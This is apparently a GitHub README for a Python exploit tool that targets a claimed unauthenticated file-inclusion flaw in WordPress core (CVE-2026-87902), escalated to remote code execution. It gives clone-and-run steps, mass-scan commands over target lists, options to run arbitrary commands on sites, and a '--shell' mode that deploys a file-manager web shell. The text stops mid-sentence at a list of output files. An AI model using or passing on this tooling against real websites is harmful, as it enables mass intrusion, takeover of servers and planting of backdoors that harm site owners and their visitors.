## 🔍 Overview
**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.
The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.

## ⚡ Quick Start
### 📦 Installation
```bash
# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902
# Install dependencies (stdlib only — no pip needed!)
python --version # Requires Python 3.8+
# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt
# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20
# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10
| Mode | Command | Description |
|---|---|---|
| 🔍 Check | python main.py -l targets.txt --check |
Non-destructive LFI detection |
| 💥 LFI | python main.py -l targets.txt |
Confirm LFI with OPML oracle |
| ⚡ RCE | python main.py -l targets.txt --rce --command "id" |
Execute commands via PEAR |
| 📁 Shell | python main.py -l targets.txt --rce --shell |
Deploy File Manager |
python main.py --help
-u, --url URL Single target URL
-l, --list FILE File with targets (one per line)
--check Non-destructive check only
--rce Enable RCE escalation
--shell Deploy File Manager shell
--command CMD Command to run (default: id)
--page-id N Force specific page ID
--threads N Concurrent threads (default: 20)
--timeout S Per-request timeout (default: 12)
--proxy URL HTTP(S) proxy
--output FILE Full log output
--output-vuln FILE Vulnerable targets only
--output-rce FILE RCE targets only
--no-color Disable ANSI colors
# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"
# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5
# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell
After a successful run, the following files are generated:
